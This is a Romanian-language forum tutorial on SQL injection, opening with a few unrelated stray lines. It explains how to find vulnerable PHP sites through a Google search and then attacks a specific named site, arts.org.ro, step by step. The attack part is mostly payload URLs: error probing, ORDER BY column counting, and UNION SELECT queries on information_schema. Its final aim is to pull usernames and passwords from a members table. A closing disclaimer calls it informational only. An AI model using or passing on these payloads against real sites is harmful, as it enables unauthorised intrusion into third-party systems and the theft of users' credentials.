80s toys - Atari. I still have

Sa aveti o zi placuta



Tutorial SQL Injection



1.Ne alegem tinta:
Pentru a o gasi mai usor cautam pe google:
Code:
ext:php inurl:articole.php
Eu am ales arts.org.ro
Asa......intram la "Noutati" si alegem un articol de acolo, eu l-am ales pe primul.
Linkul arata asa:
Code:
http://arts.org.ro/pagini/noutati.php?art=59
2.Verificam daca siteul este vulnerabil:
Punem ‘ la sfarsitul linkului.
Linkul arata asa:
Code:
http://arts.org.ro/pagini/noutati.php?art=59’
Daca nu se intampla nimic inseamna ca nu este vulnerabil, daca primim eroare inseamna ca este vulnerabil. In cazul nostru am primit eroare, deci este vulnerabil:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - Query was: SELECT * FROM noutati WHERE id=59'

3.Cautam numarul de coloane:
Folosim order by:
Prima data punem order by 1.
Code:
http://arts.org.ro/pagini/noutati.php?art=59+order+by+1
Nu primim eroare, inseamna ca are mai mult de o coloana
Punem order by 10
Code:
http://arts.org.ro/pagini/noutati.php?art=59+order+by+10
Apare eroarea, deci are mai putin de 10.
Punem order by 9, apoi order by 10, pana ne dispare eroarea, in cazul nostru eroarea a disparut la order by 7:
Code:
http://arts.org.ro/pagini/noutati.php?art=59+order+by+7
Inseamna ca are 7 coloane.

4.Cautam coloanele vulnerabile:
Tocmai am aflat ca are 7 coloane, acum cautam coloanele vulnerabile.
Punem union all select:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,2,3,4,5,6,7
Undeva pe pagina vor aparea coloanele vulnerabile, in cazul nostru au aparut coloanele 2,3 si 4.

5.Aflam versiunea MySQL:
Pentru a afla versiunea MySQL punem in loc de cifrele aparute anterior pe pagina, @@version:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,@@version,3,4,5,6,7
Versiunea este :
5.0.45-log
Observam ca a aparut in locul cifrei inlocuite.
Daca versiunea este mai mare sau egala cu 5 atunci putem folosi information_schema, daca nu atunci trebuie sa ghicim totul.

6.Cautam tabelul unde se afla username si password:
Punem table_name:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables
Putem cauta pe rand folosind limit:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+1,1
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+2,1
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+3,1
Si tot asa pana cand gasim tabelul dorit sau folosim group_concat:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28table_name%29,3,4,5,6,7+from+information_schema.tables
Folosind group_concat(table_name) primim toate tabelele separate prin virgula.
In cazul nostru tabelul este: “membri”

7.Cautam coloanele unde se afla parola si usernameul:

Dupa ce am gasit tabelul dorit (ceva de genu: admin, users, members..etc) cautam coloanele, ele trebuie ar trebui sa aiba nume precum: pw, password, pass, user,username…etc
La fel ca si tabelele, le putem cauta pe rand cu limit:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+1,1
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+2,1
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+3,1
si tot asa…sau putem folosi group_concat(column_name):
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28column_name%29,3,4,5,6,7+from+information_schema.columns
In cazul nostru coloanele sunt: username si password

8.Obtinem user si pass:
Putem vedea user si pass pe rand:
User:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,3,4,5,6,7+from+membri
Pass:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,password,3,4,5,6,7+from+membri
Daca avem doua sau mai multe coloane vulnerabile putem user pe una si pass pe alta:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,password,4,5,6,7+from+membri
Sau putem folosi “concat”:
Code:
http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,concat%28username,0x3a,password%29,3,4,5,6,7+from+membri
Cam atat, sper ca de data asta sa fie bun tutorialul…

Ps: Nu ma fac responsabil pentru daunele provocate de acest tutorial, este doar pentru scop informativ.